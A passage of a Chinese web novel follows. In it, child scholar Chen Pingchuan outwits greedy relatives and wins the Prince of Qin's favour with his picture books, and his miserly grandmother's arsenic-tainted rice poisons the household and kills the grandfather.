老虔婆往前一步,摆出祖母的款儿,拉长了脸:“平川,你如今出息了,当上秀才公,这是好事。但孝敬长辈的规矩,可不能忘了。你爹娘我们指望不上,如今你有了出息,带回来的这些东西,理应拿出来孝敬我跟你祖父。我们把你拉扯这么大,不容易。”她说着,眼睛就瞟向了炕上的那些好东西。 陈平川眨了眨眼,一脸认真地看着陈老太太:“祖母说的是。孝敬长辈,天经地义。这些东西,您看着拿……” 陈老太太一众人顿时露出兴奋之色,谁知,陈平川却话锋一转,向陈老太太伸出手来。 “不过,孩儿马上就要准备参加乡试了,这秋闱的钱还不太够,您是长辈,帮孩儿准备一些银两,也很合理吧?孩儿要的不多,和大伯父秋闱用的钱一样多就行,二十两。” 陈老太太的表情一僵,讪讪道:“我,我没钱!” 陈平川一脸为难:“祖母,孙儿如今虽侥幸中了秀才,但平时花费也大了。笔墨纸砚,哪样不要钱?先生说了,这读书一道,用钱如流水。孙儿想着,将来若能考取更高功名,才能更好地光耀门楣,孝敬祖父祖母,您说是不是这个理?” 他顿了顿,又补充道:“若是祖母觉得孙儿不该读书,那孙儿这就去跟先生说,往后不再进学,专心在张府做工,如何?” 这话一出,陈老太爷的脸色先变了。 他最看重的就是陈家能出个读书人光宗耀祖,陈平川如今比陈仲文还有希望,怎能因为眼前这点小利就断了前程?他狠狠瞪了陈老太太一眼。 陈老太太被噎得直翻白眼,这小子,嘴皮子比刀子还利! 偏偏他说的话又占着理,让她挑不出错来。 刘氏一听陈平川要钱,立刻找到了由头,往前凑了凑:“哎哟,平川侄儿,你这话就差了。你在张府当差,那张老爷是何等人物?出手必然大方。平日里赏钱、月例,怕是比我们一年到头种地的收成还多吧?这区区乡试的盘缠,你自己个儿垫上,不更显得你有本事,有担当?” 王氏也赶紧帮腔:“可不是嘛!大嫂说的在理。平川你如今是秀才公了,张家那边给的赏赐月例肯定也水涨船高。自己出钱考取功名,将来光宗耀祖,那才叫真本事!哪能还跟家里长辈伸手?这不是让我们为难吗?” 陈仲文也板着脸道,装模作样道:“平川,你大伯母和三婶说的也有几分道理。读书人当有风骨,自食其力,方能受人敬重。” 陈平川听着这你一言我一语,脸上的笑容不变。 他先是看向刘氏:“大伯母,张老爷确实待我不薄,平日赏钱月例是有些。可张老爷也明说了,那些是给我买书、买笔墨纸砚,让我安心向学的。若我将这些钱挪作乡试的盘缠,岂不是辜负了张老爷的栽培之心?再者,如今我侥幸中了秀才,这身份不同,日后用度自然也与往日不同。若我手头当真宽裕,又何必劳动祖母?” 他又转向王氏,语气依旧平和:“三婶说的是,自己出钱考取功名自然是好。只是,大伯参加科举,家中也是鼎力支持,凑足了二十两银子作为盘缠。侄儿不求其他,只求与大伯当年一般待遇,不要厚此薄彼。若家中实在拮据,侄儿也能体谅。只是,若因侄儿在张府得了些许赏赐,便认定侄儿家底丰厚,不再需要宗族扶持,那日后侄儿若真有了功名,也和宗族关系不大,你们说对不对?” 这话一出,陈仲文的脸涨得通红,他当年考乡试,家里的确是砸锅卖铁凑的钱,这事儿村里谁不知道? 刘氏和王氏被噎得哑口无言,脸上青一阵白一阵,想反驳,却发现陈平川的话滴水不漏,句句占着理。 刘氏还不死心,她眼珠一转,计上心来,语气忽然变得哀戚,帕子往眼角一揩:“平川侄儿,你这话可就伤人心了。你大伯母我,还有你三婶,这些年为了这个家,那是勒紧了裤腰带过日子。省下来的每一个铜板,不都是为了你们这些小辈能有个盼头?如今你出息了,可不能忘了本啊!” 王氏立刻心领神会,也跟着抹起了眼角,声音哽咽:“可不是嘛!我还有你大伯母,哪个不是盼着你们好?家里揭不开锅的时候,我们可曾短过你们一口吃的?为了这个家,我们吃了多少苦,受了多少累,如今你出息了,成了秀才公,理应想着拉拔一下我们这两房,这不都是为了陈家好吗?” PC站点如章节文字不全请用手机访问PC站点如章节文字不全请用手机访问 第68章 秀才娘发威,怒怼亲戚扬眉吐气 罗氏听着她们颠倒黑白,再也按捺不住心头的怒火,猛地一拍桌子,桌上的粗瓷碗碟都震得跳了起来。“你们还有脸提以前?”她霍然起身,指着刘氏和王氏的鼻子,声音因愤怒而颤抖:“当年是谁为了给陈仲文凑秋闱的银子,要把我家平玉卖掉换钱?刘氏,你敢说不是你提的头,老太爷点的头?” 刘氏被指名道姓,脸色一白,嘴唇哆嗦着:“我,我……” “没话说了吧!”罗氏冷笑一声,目光如刀,转向王氏:“还有你王氏!当年平川为了救妹妹,八岁的孩子啊,把自己卖进张家当书童,你们谁站出来说过一句公道话?谁替我们二房说过半个不字?如今我儿凭本事考了秀才,你们倒想起是一家人了?想起你们含辛茹苦了?” 罗氏越说越气,胸口剧烈起伏:“你们的含辛茹苦,是为你们自家的儿子!你们的节衣缩食,是盘算着怎么从我们二房身上刮油水!现在倒好,跑来跟我儿子哭穷,我呸!你们也配!” 她一口气将当年大房三房的刻薄寡恩,桩桩件件,如同倒豆子一般,全都抖落了出来。那尖锐的言辞,喷得刘氏和王氏面红耳赤,恨不得找个地缝钻进去。 陈家老宅这边的争吵声,传到了周围邻居的耳中,一传十,十传百,半个桃花村的人几乎都来了。 陈家院门口,此刻已是里三层外三层围满了看热闹的村民。 众人听着罗氏声泪俱下的控诉,再看看站在一旁,虽然年幼却始终沉静的陈平川,心里那杆秤不由自主地偏向了二房。 “哎,罗氏说的怕是真的,当年要卖平玉的事,我也听过一耳朵。” “啧啧,这大房三房也太不像话了,平川这么出息的孩子,他们以前是怎么对人家的?” “可不是嘛,放着这么个金疙瘩不要,偏要去捡那些不值钱的芝麻,我看陈老太爷是老糊涂了!” “我要是这陈家二房,早就离开这个破家了,就没见过这么没良心的亲戚!” 风言风语,如同针一般扎进陈老太爷的耳朵里。他一张老脸涨得成了猪肝色,手里的旱烟杆捏得咯吱作响。他最重脸面,如今却在全村人面前丢尽了颜面。 刘氏和王氏更是羞愤难当,恨不得地上裂开一条缝让自己钻进去。平日里巧舌如簧的她们,此刻却是一个字也说不出来。 陈仲文脸色铁青,别过头去,仿佛事不关己。 陈老太爷猛地将旱烟杆往地上一顿,厉声呵斥:“够了!还嫌不够丢人吗?走!” 他转身,推开挡在面前的陈仲武,头也不回地朝老宅方向走去。 陈老太太赶紧跟上,刘氏、王氏、陈仲文等人也如同斗败的公鸡,灰溜溜地跟在后面,狼狈不堪地离开了二房的小院。 罗氏看着他们远去的背影,重重地呼出一口气,只觉得胸中积压多年的怨气散去了不少。 接下来的几日,陈平川便安心住在家里,每日除了温习功课,便是陪着父母妹妹说说话,享受着难得的家庭温暖。 罗氏脸上的笑容一日比一日多,如今走在村里,那些平日里爱嚼舌根的婆娘媳妇,见了她都主动笑着打招呼,一口一个“秀才娘”,客气得不得了,这让她积压多年的郁气一扫而空,整个人都容光焕发。 陈仲和在村里也渐渐有了些脸面,偶尔说句话,也有人听了,不再像以前那样,是个闷葫芦透明人。 “瞧瞧人家二房,这是要发达了!” “可不是嘛!出了个八岁的秀才公,这在咱们桃花村,不,整个县里都是头一份的荣耀!” “那陈平川带回来的东西,听说都是府城里的好东西,那布料,滑溜溜的,比绸缎还好呢!” 这些羡慕的话语,如同细密的针尖,一下下扎在刘氏和王氏的心坎上。 她们看着自家孩子的旧衣裳,再看看陈平玉身上那件崭新的细棉布碎花小袄,头上还扎着红头绳,气得牙根都快咬碎了,却又无可奈何。 以前还能仗着长辈的身份去二房搜刮点东西,如今陈平川成了秀才,她们再想倚老卖老,也得掂量掂量。 陈老太爷和陈老太太更是觉得脸上无光。 二房的日子越过越红火,越显得他们这些长辈当初的刻薄和短视。 PC站点如章节文字不全请用手机访问 但要说他们心里有没有后悔,曾经刻薄地对待陈平川,那是半点都没有的。 …… 庐州府,一座青砖黛瓦的高墙府邸,门前石狮威严,禁卫林立,与寻常富户宅院迥然不同。 此乃秦王府。 秦王,当今圣上胞弟,因皇后一族势大,几年前便离了京城那是非之地,名为就藩,实则如笼中之鸟,远离了权柄中心。 此刻,王府一间雅致书房内。 “我的!父王,你看妹妹!她又抢我的画册!”一个锦衣少年,约莫十岁出头,正是秦王世子,此刻正指着身旁一个梳着双丫髻的华服少女,气鼓鼓地告状。 少女年方九岁,眉眼灵动,正是昭华郡主。她将一本册子紧紧抱在怀里,毫不示弱:“王兄胡说!明明是你先看完不给我!这《西游记》本就该一人看一卷!” 秦王原本正为朝中之事蹙眉,闻言不由失笑。他放下手中密信,目光落在儿女争抢的那套花花绿绿的小册子上。 “什么东西,值得你们如此争抢?”秦王伸手。 世子和郡主这才暂时休战,将几本画册呈上。 秦王随手拿起一本,封面上“西游记之大闹天宫”几个字龙飞凤舞,旁配一神猴持棒欲冲天际的图画,倒也生动。 他本是不以为意,随意翻开一页。 不料,只看了几眼,便被那简洁却传神的线条,以及那引人入胜的故事情节吸引了。 一页,两页…… 秦王看得入了迷,时而为孙悟空的神通广大抚掌,时而为那玉帝老儿的昏聩无能摇头,看到精彩处,竟也忘了仪态,忍不住笑出声来。 世子和郡主见父王看得津津有味,也凑了过来,一时间,父子三人竟围着几本小画册看得不亦乐乎。 待将几本看完,秦王意犹未尽,长长吁了口气。这故事,当真奇哉妙也! 他看向身侧的总管:“去查,这《西游记》连环画,究竟是何人所作?本王要见见此人。” 总管躬身应诺:“遵命。” PC站点如章节文字不全请用手机访问 第69章 王爷爱才郡主心动,陈平川成了大红人 消息一层层往下传,很快便传到了张盛财的耳朵里。 “什么?秦…秦王府要见画册的作者?”张盛财一听这话,脸上的肥肉都吓得一哆嗦,手里的茶碗差点没拿住。 他神色紧张,背着手在地上来回走动:“那可是秦王啊!当今圣上的亲弟弟!虽说是就藩,可瘦死的骆驼比马大,咱们这种小门小户,哪里招惹得起?” “难道,那画册有什么不妥之处,惹了他不高兴?” 想到这里,他的额上渗出细密的汗珠。 “去,把陈平川叫来!” 很快,陈平川来到书房,听了张盛财的叙述,稚嫩的脸上却是一片平静:“老爷,不必惊慌。我们行得端做得正,王爷召见,也不怕。” 张盛财一跺脚:“我的小祖宗哎!这等贵人,心思哪里是我们能猜透的?万一他老人家觉得这画册有何不妥,咱们可是吃不了兜着走啊!” 他越想越怕,脸色惨白如纸。 陈平川安慰他:“兵来将挡,水来土掩。王爷既然让我们前去拜见,恭敬应对便是。” 张盛财六神无主,此刻也只能点头。 两人怀着迥异的心情,乘马车来到秦王府。 只见王府朱门高墙,石狮威武,门前侍卫皆是目光锐利,腰佩利刃,更添几分肃杀之气。 张盛财一下马车,腿肚子就有些转筋,走路都有些飘。 陈平川则依旧是那副八岁孩童应有的模样,倒是比他这个成年人稳重多了。 被引入一间待客的花厅,不多时,便见一年约四旬,身着常服却依旧难掩贵气的中年男子走了出来,正是秦王。 张盛财一见,连忙扑通跪倒,声音都带着颤:“小……小人张盛财,叩……叩见王爷千岁千岁千千岁!” 陈平川也跟着行礼,朗声道:“草民陈平川,叩见王爷。”声音清脆,不卑不亢。 秦王已经听说,《西游记》的作者就是陈平川,他让两人平身,目光落在陈平川身上,见他小小年纪,面对自己竟无丝毫惧色,不由暗自惊奇。 “你便是那《西游记》画册的……作者?”秦王的声音带着一丝探究。 陈平川垂首:“回王爷,画册故事确由草民构思,画稿亦是草民所出。” 秦王眼中闪过一丝讶异。如此奇书,竟真的出自这八岁稚童之手? 他心中好奇,便道:“抬起头来。” 陈平川依言抬头。 秦王细细打量,见这孩子眉清目秀,眼神澄澈,确无半分奸猾之气。 “你这《西游记》,故事倒也新奇。”秦王缓缓开口,“那孙猴子为何要大闹天宫?你且说说你的看法。” 张盛财在一旁听得心惊肉跳,生怕陈平川说错话。 陈平川略一思索,稚声道:“回王爷,孙悟空生性不羁,向往自由。天宫规矩森严,束缚其天性。他所求者,不过是‘齐天’二字,一份尊重与平等。然玉帝昏聩,天庭僵化,不容此等异类,故而冲突难免。” 秦王闻言,眉毛微微一挑。这番见解,倒不像个孩童能说出的。 听说陈平川已经他已经考上秀才,便又问了几个科举上的问题,陈平川皆对答如流,偶有引申,亦颇有见地。 PC站点如章节文字不全请用手机访问 秦王越听越是心喜,忍不住抚须笑道:“好!好一个聪慧的小子!小小年纪便有如此见识,实乃可造之材。望你勤勉向学,将来若能金榜题名,方能不负这一身才华,为国效力,为圣上分忧。” 言语之间,竟透出几分真正的惜才之意。 张盛财在一旁听着,渐渐放下心来,看这情形,王爷似乎颇为赏识平川。 就在秦王与陈平川交谈之时,花厅一侧的内堂珠帘之后,一双灵动慧黠的眸子,正悄悄地打量着外间的陈平川。 那是秦王最疼爱的女儿,昭华郡主。 她方才听下人说父王召见了《西游记》的作者,当下心中好奇不已,便偷偷躲在珠帘后观望。 陈平川那与年龄不符的镇定从容,以及口中那些关于《西游记》新奇有趣的构想,都让她觉得陈平川与府中那些唯唯诺诺的伴读截然不同。 待陈平川与张盛财叩谢告退,即将离开花厅之际。 昭华郡主眼珠一转,寻了个由头,从内堂轻盈地走了出来,正好与陈平川打了个照面。 “你……你就是那个会讲《西游记》的陈平川?”昭华郡主微微仰着脸,声音清脆如黄莺。 陈平川一怔,见是个与张静姝年纪相仿,但衣饰华贵无比的小姑娘,马上就猜到了对方的身份,便躬身道:“草民正是陈平川,见过郡主。” 昭华郡主脸颊微红,从袖中取出一块绣着小小兰草的精致手帕,飞快地塞到陈平川手中。 “这个……送给你!”她小声道,“就当是你……你给我讲了那么好听的故事的谢礼了!” 那双明亮的眼眸中,闪烁着少女纯真,转身就跑了。 陈平川握着手中带着淡淡幽香的柔软手帕,微微一怔,看着郡主跑开的背影,若有所思。 光阴似箭,日月如梭。 不知不觉,陈平川的《西游记》画册已在庐州府乃至周边州县声名鹊起,足足火爆了一年。 生意兴隆,日进斗金。 然而,桃花村的陈家老宅,这一年却过得鸡飞狗跳,不得安宁。 只因宅子里添了个大的麻烦——鼠患成灾。 也不知是从哪来的大耗子,黑压压的一片,简直成了精。 它们不仅在夜深人静时明目张胆地偷盗粮食,将家具被褥啃得坑坑洼洼。 甚至猖狂到了青天白日,也敢当着人的面,拖家带口地四处乱窜。 家里养的那几只平日里还算威风的猫,如今要么被那些凶悍的硕鼠咬得奄奄一息,要么吓得缩在角落里,连头都不敢露。 几个孙子孙女,更是被这些横冲直撞、体型肥硕的耗子吓得整日哇哇乱叫,不得安生。 陈老太太被这些“遭瘟的耗子”折磨得寝食难安,愁眉不展。 她感觉自己的头发,都因此多白了好几根。 她每日不是叉着腰,站在院子里,气得跳脚咒骂那些该死的畜生。 便是抡起扫帚,呼哧呼哧地在屋里屋外追打,累得气喘吁吁。 可那些耗子依旧我行我素,根本没把她放在眼里。 PC站点如章节文字不全请用手机访问 第70章 熊孩子闯大祸,老虔婆要粮不要命 陈老太太眼看着平日里从牙缝里一点点抠搜省下来的粮食,就要被这些该死的畜生糟蹋个精光。 陈老太太只觉得心口一阵阵抽痛,肝火旺盛得几乎要从头顶冒出来。 这日,一只格外肥硕的耗子,“嗖”地一下从陈老太太的脚边飞速窜过,险些将她绊倒在地。 陈老太太一个趔趄,慌忙扶住冰冷的墙壁,才勉强站稳了身子。 她心中的怒火,终于在这一刻彻底爆发,再也无法忍耐。 她咬了咬牙,眼神中闪过一丝狠戾。 她从一个路过门口的游方郎中手里,偷偷摸摸换来了一小包用油纸裹着的白色粉末。 那是砒霜!剧毒之物! 陈老太太嘴里恶狠狠地念叨着:“毒死你们这些小畜生!我看你们还敢不敢来祸害老娘的粮食!一群短命的玩意儿!” 她回到自己的屋里,将那包砒霜,藏在了床头一个堆放杂物的破旧瓦罐里。 刚藏好药粉,直起身子。 她那最疼爱的大孙子陈平西,就一阵风似的跑了进来。 这小子正是猫狗都嫌,上房揭瓦的年纪,一刻也闲不住。 虎子眼尖,一眼就瞥见奶奶方才鬼鬼祟祟地往床头的瓦罐里塞了个小纸包。 纸包里似乎是白花花的东西。 莫不是奶奶背着他藏了好吃的糖霜? 虎子心里顿时像有只小猫在挠痒痒,好奇得不行。 趁着陈老太太转身去灶房准备晚饭的功夫,他贼头贼脑地凑到床边。 踮起脚尖,扒着粗糙的床沿,伸长了小胳膊,偷偷摸摸地将那个纸包从瓦罐里勾了出来。 纸包入手微沉。 虎子咧嘴一笑,得意洋洋地抓在手里颠了颠。 他以为自己得了什么宝贝,拿着那包致命的“糖霜”就往外疯跑,嘴里还得意地嚷嚷着:“我有好吃的咯!奶奶给我的好吃的!” 他跑得太快,一块凸起的青石板,不偏不倚地绊了他一下。 “哎哟!” 虎子痛呼一声,小小的身子猛地一歪。 他手中紧紧攥着的那个纸包,瞬间脱手飞了出去。 “噗”的一声轻响,那大半包雪白的砒霜粉末,在空中划出一道短暂的弧线。 然后,不偏不倚,扬扬洒洒,全都落进了角落里那个敞着口的旧大米缸里! 雪白的粉末与米缸中米粒混杂在一处,再也分不清楚彼此。 这一幕,恰好被站在廊檐下的陈平香,以及从屋里出来的陈平玉,看得一清二楚。 PC站点如章节文字不全请用手机访问 陈老太太当初偷偷摸摸买砒霜的时候,她们姐妹俩都无意中看见了。 还隐约听到老太婆絮絮叨叨,说什么要毒死那些可恶的老鼠。 陈平香年纪稍长,她知道这种白色的药粉是毒药,是碰不得的。 她吓得小脸瞬间煞白,嘴唇都有些哆嗦,下意识地就想冲过去告诉奶奶。 可转念一想,若是她现在说出去,弟弟虎子肯定要挨一顿毒打。 说不定,奶奶还会因此迁怒于她,怪她多嘴多舌。 她喉咙动了动,那句警告的话在嘴边转了几圈,终究还是没敢出声,默默地低下了头。 心地淳朴的陈平玉却与姐姐不同。 她曾听母亲罗氏千叮万嘱,砒霜是剧毒之物,耗子吃了都会肠穿肚烂,痛苦死去。 人要是误食了,更是性命难保! 眼前这白花花的粉末,落进米缸的情景,陈平玉吓得浑身一个激灵,小脸瞬间没了半点血色。 她顾不得多想其他,拔腿就往陈老太太所在的灶房跑去。 她一边跑,一边大喊:“奶……奶奶!不好了!奶奶!” 陈老太太刚从烟熏火燎的灶房里出来,手里还拿着一个准备舀米的葫芦瓢。 听到陈平玉那惊慌失措的叫喊,她顿时不耐烦地呵斥道:“咋咋呼呼什么!死丫头,大白天催命呢!” 陈平玉跌跌撞撞地跑到她跟前,伸出颤抖的小手指着院子角落里的那个大米缸,焦急说道:“奶……奶奶!虎子哥……他……他把那个白色的药面面撒到米缸里了!” 虎子自知闯了大祸,见妹妹平玉当场告状,吓得“哇”一声就哭了出来。 他连忙躲到了陈老太太的身后,一脸委屈,好像干坏事的人不是他。 陈老太太一听这话,眉头先是紧紧一皱。 随即看到自己最宝贝的大孙子哭得那般可怜,一副受了天大委屈的模样,那点儿不快立刻被心疼劲儿取代了。 她一把将哭哭啼啼的虎子搂进怀里,用粗糙的手掌轻轻拍着他的后背,柔声安慰。 然后,她才抬起头,那双三角眼猛地一瞪,目光凶狠地射向陈平玉,破口大骂:“你个死丫头片子!成天就知道胡说八道些什么!我家虎子乖得很!他才多大一点儿,他能懂什么!” 陈平玉急得眼泪在眼眶里拼命打转,几乎要夺眶而出。 她哽咽着解释:“奶奶,那是毒老鼠的药啊!我娘说过的,那个药很毒的,人吃了……人吃了会死的!” 陈老太太一听到陈平玉提到罗氏,顿时更加火大。 她腾出一只手,“啪”的一声脆响。 一个又重又响的巴掌,狠狠地甩在了陈平玉那稚嫩的脸颊上。 陈平玉被打得一个趔趄,小小的身子晃了晃,差点摔倒。 她的左边脸颊以肉眼可见的速度红肿起来,火辣辣地疼。 眼泪再也忍不住,如同断了线的珠子一般,大颗大颗地掉了下来。 PC站点如章节文字不全请用手机访问 “滚滚滚!你个乌鸦嘴!小扫把星!” 陈老太太怒骂着,唾沫星子几乎喷到陈平玉的脸上。 “我看你就是见不得我们家虎子好!故意在这里挑拨是非!” 她瞥了一眼那个已经混入了白色粉末的米缸,脸上闪过一丝不易察觉的肉痛。 但更多的,却是不以为然。 “不就是不小心撒了点东西进米缸吗?有什么大惊小怪的!” “那么多白花花的米,要是就这么倒掉了,那该多可惜啊!” 陈老太太梗着脖子,从鼻孔里发出一声冷哼。 “用水多淘洗几遍,洗干净了,照样能吃!死不了人!” 她竟是铁了心,要吃这混了剧毒砒霜的米。 “我们陈家人可没那么娇贵!一点点东西就大惊小怪地要倒掉,那是败家子的行为!” 那深入骨髓的吝啬,早已让她完全丧失了最基本的判断力,甚至蒙蔽了她对危险的感知。 陈平玉捂着自己被打得红肿的脸颊,难以置信地看着眼前这个面目狰狞的奶奶。 她不明白,为什么奶奶会这样。 陈老太太一把推开挡在身前的陈平玉,径直走到那个米缸旁边。 她拿起水瓢,一边咕哝着,一边开始往米缸里舀水。 “多洗几遍,多洗几遍就没事了……洗干净了,什么毒都没有了……” 她絮絮叨叨,似乎在自我安慰。 PC站点如章节文字不全请用手机访问 第71章 好言难劝该死的鬼,罗氏全家进城避祸 陈平玉脸上火辣辣的疼,泪珠子像是断了线的珠子,滚滚而下。 她捂着红肿的脸颊,一路哭着,跑回了自家那间破旧的小屋。 “娘!娘啊——!” 罗氏正在昏暗的灯下纳着鞋底,听见女儿这般凄惨的哭声,心猛地一紧,针尖险些扎破了手指。 她“霍”地一下丢开手里的鞋底,三两步就冲了出去。 “平玉!这是怎么了?哪个天杀的打你了?!” 罗氏一把抱住扑过来的女儿,瞧见平玉那高高肿起的半边脸颊,五个清晰的指印刺眼夺目,她的心疼得像是被人生生剜了一块,声音都控制不住地变了调。 陈平玉紧紧搂着罗氏的脖子,小小的身子在她怀里抖个不停,抽抽噎噎地,将方才发生的事情原原本本地说了一遍。 罗氏越听,心越是往下沉,如同坠入了冰窟窿。 起初是难以置信,这世上怎会有如此愚昧狠心之人! 待到听清“砒霜”、“米缸”、“洗洗照样吃”这些骇人听闻的字眼,一股彻骨的寒气,猛地从她的脚底板直冲天灵盖! 她脸上的血色瞬间褪得一干二净。 “那个老虔婆!她是真的疯了不成!” 罗氏的声音颤抖。 “砒霜啊!那是要命的东西!那是能随随便便用水洗洗就吃的吗?她这是要害死一大家子的人啊!” 罗氏再也顾不得其他,将抹眼泪的陈平玉往闻声出来的陈仲和怀里一塞。 “看好孩子!” 她自己则像一阵风,冲向陈家老宅的灶房。 刚一冲进院门,借着屋里透出的昏黄灯光,罗氏便看见陈老太太在一个大木盆里,费劲地淘洗着那缸要命的米! 雪白的米粒在浑浊不堪的泥黄色水中翻滚搅动,旁边还放着好几个已经淘洗过几遍、盛着污浊米汤的水盆。 “娘!” 罗氏一声厉喝,声音嘶哑,“这米万万吃不得!那是砒霜!是剧毒!水根本洗不掉那毒性的!吃了会出人命的!会死人的!” 陈老太太冷不防听见罗氏又跑来“寻衅滋事”,一张本就阴沉刻薄的老脸,顿时拉得比驴脸还要长。 她那双闪着寒光的三角眼猛地一翻,眼白多过眼黑,张口便是一阵恶毒的咒骂: “你个搅家精!丧门星!又来这里放什么驴鸣狗屁!老娘我吃的盐比你这贱蹄子吃的米还多得多!这点子屁事还用得着你来教训老娘?” 她唾沫星子喷得老远,几乎要溅到罗氏脸上。 “我看你就是巴不得我们陈家所有人都死光死绝!你好霸占陈家的祖产!你这个黑心烂肝的丧门星!” 闻声而来的刘氏,脸上挤出一个皮笑肉不笑的表情,阴阳怪气地帮腔道:“老二家的,你如今可了不得了,是秀才娘了,懂得比娘都多了啊,呵呵。” 三婶王氏也走进来,不怀好意地往火上浇油: “可不是嘛!人家现在发达了,早就看不上我们这些穷亲戚了!” PC站点如章节文字不全请用手机访问 罗氏懒得和这两个女人拌嘴,她焦急地劝道:“娘,你听我的,这米不能要了,我回头让平川送点米回来……” 她虽然和这家人关系不好,但她心肠可没有这群人恶毒,让她眼睁睁看着一家人都毒死,她的良心不允许。 恰在此时,陈老太爷带着陈仲文和陈仲武从外面回来了。 看见家里的女人们又吵作一团,眉头立刻紧紧地皱了起来。 他只当是寻常的婆媳斗嘴、不耐烦地挥了挥手,道:“一天到晚吵吵闹闹!真不让人省心!” 陈仲武更是连眼皮都懒得抬一下,仿佛没看见院中的剑拔弩张,径直就往自己的屋里走去。 无论罗氏怎么劝说,陈老太太和两个儿媳妇压根不听。 罗氏看着这一屋子不可理喻、愚昧至极的人,一颗滚烫的心从里到外,都凉了个通透。 她用尽全身力气,声嘶力竭地喊道:“你们要吃,你们自己吃!我们一家绝对不会吃!” 吼完,罗氏对着陈仲和大喊:“当家的!我们走!带着平玉马上去庐州府找平川!这个家待不了了!” “啊?”陈仲和张了张嘴,黝黑的脸上满是错愕和茫然。 罗氏却是不容他有半分的犹豫,一把拉起还站在门口的陈平玉。 又一把死死拽住陈仲和的胳膊,转身就往自家那破败的小屋方向奔去。 她的动作快利落,飞快地收拾了几件换洗衣物,打了个简单的包袱。 她连头都没有回,拉着丈夫女儿,毅然决然地走出了桃花村。 她心中此刻只有一个念头:离这群无可救药的疯子远点,再远点! 幸亏今天被女儿看到了,否则,怎么死的都不知道! 罗氏一家三口的身影,很快便消失在了村口。 陈家老宅的院子里,陈老太太兀自对着他们离去的方向,骂骂咧咧: “走了好!走了干净!那个扫把星,搅家精!看见她老婆子我就晦气冲天!” 她狠狠地朝着地上啐了一口浓痰,又颐指气使地对着刘氏吆喝起来: “还愣着干什么?死人呐!赶紧把米给老娘煮上!今晚咱们吃顿好的,去去这满身的晦气!” 王氏则在一旁继续摇着扇子,谄媚地煽风点火:“还是娘您有主意,有魄力!这种不知好歹的搅家精,就不能给她半点好脸色看!” 陈老太太闻言,得意洋洋地挺了挺干瘪的胸脯。 她浑然不知,一场灭顶之灾,正随着锅中米饭的香气,悄无声息地降临到这个院子。 夜幕低垂,繁星点点。 陈家老宅的堂屋里,灯火通明。 陈家人围坐八仙桌旁,陈老太太亲自坐镇主位,将那锅用砒霜米煮出来的,散发着“香气”的白米饭,一勺一勺地分到各人的碗里。 大房和二房吃得开心,这白米饭平时可是吃不到的,今天算是开荤享福了! “吃!都多吃点!一点都不给他们留!” PC站点如章节文字不全请用手机访问 老太太恶狠狠地说道,仿佛吃的不是饭,而是罗氏的骨头。 饭菜的香气在空气中弥漫。 众人也都饿了一天,纷纷拿起筷子,狼吞虎咽起来。 饭刚过半。 坐在陈老太太身边的宝贝金孙陈平西,突然“哎哟”一声尖叫。 他扔了筷子,小手紧紧捂住了自己的肚子。 “奶……奶奶……我肚子疼……好疼啊……” 虎子皱着一张蜡黄的小脸,额头上渗出细密的冷汗,声音里带着痛苦的哭腔。 大房刘氏起初还并未在意,不耐烦地呵斥道: “小孩子家家的,没出息!肯定是吃多了撑的!” 她话音未落。 虎子“哇”的一声,将刚吃下去没多久的饭菜,悉数吐了出来,污物喷了一地。 他随即疼得缩成一团,在冰凉的泥地上痛苦地翻滚哀嚎,小脸憋得青紫,眼珠子都开始往上翻。 紧接着。 桌边的其他人也陆陆续续地有了剧烈的反应。 “哎哟,我的肚子……疼死我了……” “不行了……我也疼得受不了了……” 呕吐声、痛苦的呻吟声、凄厉的惨叫声,此起彼伏。 陈仲文捂着剧痛如绞的肚子,额头上黄豆大的冷汗涔涔而下,很快浸湿了衣襟。 刘氏和王氏更是疼得面无人色,惨叫连连,声音凄厉得不似人声。 陈老太太抱着在地上剧烈抽搐不止,口吐白沫的宝贝大孙子陈平西,吓得魂飞魄散。 她那双颤抖不止的手,哆哆嗦嗦地摸着孙儿冰凉滑腻的额头。 “难道,真是因为砒霜?” 那双平日里闪烁着刻薄恶毒光芒的三角眼,此刻被恐惧和所填满。 “快,快去找大夫!救人啊!” PC站点如章节文字不全请用手机访问 第72章 陈老爷子一命呜呼,大房三房倒打一耙 院墙外那隐约的哭喊,很快便惊动了左邻右舍。 几个胆子略大些的村民,循着声音推开了陈家老宅那扇虚掩的院门。 他们仅仅是朝里探头一瞧。 只一眼,屋内的景象便让他们霎时间吓得面无人色。 “快!快去镇上请郎中!”其中一人最先反应过来,他转身便撒开双腿,发疯似的朝着村外狂奔而去。 余下的人也如梦初醒,乱作一团。 不多时,镇上的老郎中便被村民们连拖带拽地拉了过来,跑得上气不接下气。 郎中目光触及地上横七竖八瘫倒着的人影,个个口吐白沫,面色青紫可怖,他经验再丰富,马上就意识到中毒了! 情况危急,他来不及多问一句缘由。 立刻俯下身子,取出银针,刺穴急救。 接着又费力地撬开中毒者的嘴巴,将随身携带的解毒汤药强行灌了下去,手下的动作不敢有片刻的停歇。 一番手忙脚乱的抢救之后,大部分中毒尚浅的人悠悠转醒,总算是从鬼门关前被硬生生拖了回来。 只是,人人元气大伤,虚弱不堪,脸上没有半分血色。 唯独陈老太爷。 他毕竟年事已高,七十多岁的身子骨本就一年不如一年,早已虚弱不堪。 偏偏晚饭时又因多食了好几口那浸透了砒霜的毒米饭,已经没有希望。 郎中几乎使尽了毕生所学,银针扎了一遍又一遍,浓黑的汤药也一碗接一碗地灌了下去。 然而,回天乏术。 最终,陈老太爷在一阵阵微弱而痛苦的呻吟之后,便彻底没了声息。 郎中颤抖着伸出手指,探了探他的鼻息,又搭上他的手腕,仔细摸了摸脉搏。 良久,他颓然地摇了摇头,满脸的无力和惋惜。 “准备后事吧。”郎中叹了口气,对面如死灰的陈家人说道。 陈老太爷的死讯,连同陈家上下误食砒霜米中毒的这桩惨事,就像一阵风,迅速刮遍了整个桃花村。 消息传到庐州府时,陈平川正与父母和妹妹平玉温馨地聚在一起,享受着快乐。 骤然听闻桃花村老家传来的噩耗,罗氏和陈仲和皆是浑身剧震,脸色瞬间变得如同死灰一般难看。 尤其是陈仲和,那是他的亲生父亲,即便有再多不满,血脉亲情终究难以割舍。 当初抱头痛哭! 陈平川的反应则平静许多。 他那双澄澈的眼眸里,没有太多的波澜。 对于那个冷血无情、刻薄偏心的祖父,他实在生不出多少好感,死了,或许对二房来说,反而是一种解脱。 PC站点如章节文字不全请用手机访问 一家四口没有片刻耽搁,当即雇了辆马车顶着夜色,朝着桃花村的方向,急速赶回。 当陈平川一家再次踏入陈家老宅的院门时,院中已然设起了一个简陋的灵堂。 